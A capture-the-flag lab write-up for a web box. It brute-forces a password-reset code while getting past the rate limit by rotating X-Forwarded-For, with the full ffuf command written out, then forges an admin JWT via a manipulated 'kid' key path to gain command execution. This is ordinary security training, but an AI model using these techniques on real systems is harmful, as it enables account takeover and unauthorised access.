Reconnaissance

A superficial port scan with nmap reveals ports 22 and 1337 open.

We then perform a deeper scan of the services running on these ports:

❯ nmap -p22,1337 -sCV 10.10.223.59 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 11:15 CET
Nmap scan report for 10.10.223.59
Host is up (0.051s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9b:51:5f:0d:ab:b0:6e:e4:b8:8f:17:8b:e6:6e:0a:e2 (RSA)
|   256 17:3a:3a:f6:56:5c:3a:f5:f6:20:95:7f:22:74:5f:e2 (ECDSA)
|_  256 4f:42:c8:81:70:fb:c1:8d:23:57:91:38:5d:69:33:4e (ED25519)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds

Accessing the web shows a direct login panel.

We fuzz for interesting paths:

❯ dirsearch -u "http://10.10.223.59:1337/" -t 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11460

Target: http://10.10.223.59:1337/

[11:18:45] Starting: 
[11:19:04] 200 -    0B  - /config.php
[11:19:04] 200 -   63B  - /composer.json
[11:19:06] 302 -    0B  - /dashboard.php  ->  logout.php
[11:19:12] 301 -  324B  - /javascript  ->  http://10.10.223.59:1337/javascript/
[11:19:13] 302 -    0B  - /logout.php  ->  index.php
[11:19:18] 301 -  324B  - /phpmyadmin  ->  http://10.10.223.59:1337/phpmyadmin/
[11:19:18] 200 -    3KB - /phpmyadmin/doc/html/index.html
[11:19:21] 200 -    3KB - /phpmyadmin/index.php
[11:19:21] 200 -    3KB - /phpmyadmin/
[11:19:22] 403 -  279B  - /server-status
[11:19:22] 403 -  279B  - /server-status/
[11:19:28] 200 -    1KB - /vendor/composer/LICENSE
[11:19:28] 200 -    0B  - /vendor/autoload.php
[11:19:28] 200 -    0B  - /vendor/composer/autoload_classmap.php
[11:19:28] 200 -  502B  - /vendor/
[11:19:28] 200 -    2KB - /vendor/composer/installed.json
[11:19:28] 200 -    0B  - /vendor/composer/autoload_psr4.php
[11:19:28] 200 -    0B  - /vendor/composer/ClassLoader.php
[11:19:28] 200 -    0B  - /vendor/composer/autoload_real.php
[11:19:28] 200 -    0B  - /vendor/composer/autoload_static.php
[11:19:28] 200 -    0B  - /vendor/composer/autoload_namespaces.php

Task Completed

In the /vendor/ path, we find a lot of information. User sessions use JWT tokens passed to PHP via the PHP-JWT library.

In /vendor/composer, we see the php-jwt version is 6.10.0.

A quick search shows no major vulnerabilities in that version, so we explore other avenues.

On the login panel, we can request a password reset.

Entering a dummy email like test@test.com returns Invalid email address!

Intercepting the request with Burp Suite reveals something more interesting.

Besides the invalid email message, the HTML page contains a script:

<script>
	let countdownv = ;
        function startCountdown() {
            
            let timerElement = document.getElementById("countdown");
			const hiddenField = document.getElementById("s");
            let interval = setInterval(function() {
                countdownv--;
				 hiddenField.value = countdownv;
                if (countdownv &lt;= 0) {
                    clearInterval(interval);
					//alert("hello");
                   window.location.href = 'logout.php'; 
                }
                timerElement.textContent = "You have " + countdownv + " seconds to enter your code.";
            }, 1000);
        }
<script>

This suggests that for a valid reset email, we get a panel to enter a code, with a countdown.

Capturing a dummy login request doesn't show the script, but we find a better clue: an HTML comment:

<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->

We may have fuzzed the wrong directories. Let's retry using this hint.

We'll use ffuf for better control.

❯ ffuf -u "http://10.10.223.59:1337/hmr_FUZZ" -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" -t 200 -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.223.59:1337/hmr_FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 991ms]
css                     [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 62ms]
js                      [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 53ms]
logs                    [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 63ms]
:: Progress: [220560/220560] :: Job [1/1] :: 175 req/sec :: Duration: [0:02:32] :: Errors: 0 ::

Jackpot...

In the /hmr_logs/ directory, we find a file error.logs.

This file contains logs for the user t*******@hammer.thm.

Additionally, there's a path called /admin-login.

It shows a panel for a 4-digit code, with 180 seconds to enter it.

We intercept the POST request for brute-forcing before time runs out!!!!

But wait... the request sends two values: recovery_code and s.

s corresponds to the remaining seconds, and changing it updates the response to our value. So, infinite time.

Using Burp Suite, we hit a rate limit: Rate time limit exceeded.

A Google search reveals that changing the X-Forwarded-For header to a different IP per request resets the rate limit completely.

We use ffuf for this. We need two wordlists:

  • code.txt → contains codes from 0000 to 9999
    • Generated with seq -f "%04g" 0 9999 > code.txt
  • ip.txt → a file with enough different IPs for each request.
    • Generated with for X in {0..255}; do for Y in {0..255}; do echo "192.168.$X.$Y"; done; done > ip.txt
    • Since we only need 10000, trim with head -n 10000 ip.txt > ip_cut.txt

Now with ffuf, we run:

ffuf -w code.txt:W1 -w ip_cut.txt:W2 -u "http://&lt;target_IP&gt;:1337/reset_password.php" -X "POST" -d "recovery_code=W1&amp;s=80" -b "PHPSESSID=&lt;SESSIONID&gt;" -H "X-Forwarded-For: W2" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -mode pitchfork -fw 1 -rate 100 -o output.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.10.223.59:1337/reset_password.php
 :: Header           : X-Forwarded-For: W2
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Cookie: PHPSESSID=7u5raqpms0a5h9iap8oebnj8fe
 :: Data             : recovery_code=W1&amp;s=80
 :: Output file      : output.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid
 :: Filter           : Response words: 1
________________________________________________

[Status: 200, Size: 2190, Words: 595, Lines: 53, Duration: 53ms]
    * W1: 3421
    * W2: 192.168.1.165

We enter the code on the web and... it lets us change the password!!! We try logging in with the new password.

INSIDE and we have the user flag.

Escalation

Inside the web, we can execute commands, but some are blocked. The page logs us out frequently.

A JS script logs us out every 20 seconds because the persistentSession cookie is set to no. Even changing it doesn't help.

Solution: Change the Expires field of persistentSession to Session and set the cookie to yes.

With ls, we see:

188ade1.key
composer.json
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php
logout.php
reset_password.php

Some interesting items. The cat command doesn't work, but there might be uncapped alternatives.

For the file 188ade1.key, we try opening it directly from the URL, and it downloads. Inside, we see a code:

❯ cat 188ade1.key
───────┬─────────────────────────────────────
       │ File: 188ade1.key
───────┼─────────────────────────────────────
   1   │ 56058354efb3daa97ebab00fabd7a7d7
───────┴─────────────────────────────────────

We tried it as a cookie but no result.

Now, let's check execute_command.php:

{"error":"Unauthorized - Missing Authorization Header"}

On the commands page, there's a script using a JWT token. Decoding it shows it uses a kid (Key ID) pointing to a key path. We change the path to the .key file we found, set our role to admin, generate the JWT, and use it in the request.

We also change the Verify Signature, entering the key value (all doable on jwt.io).

With the modified JWT token, we have no command restrictions and can read the required flag file.

Room solved.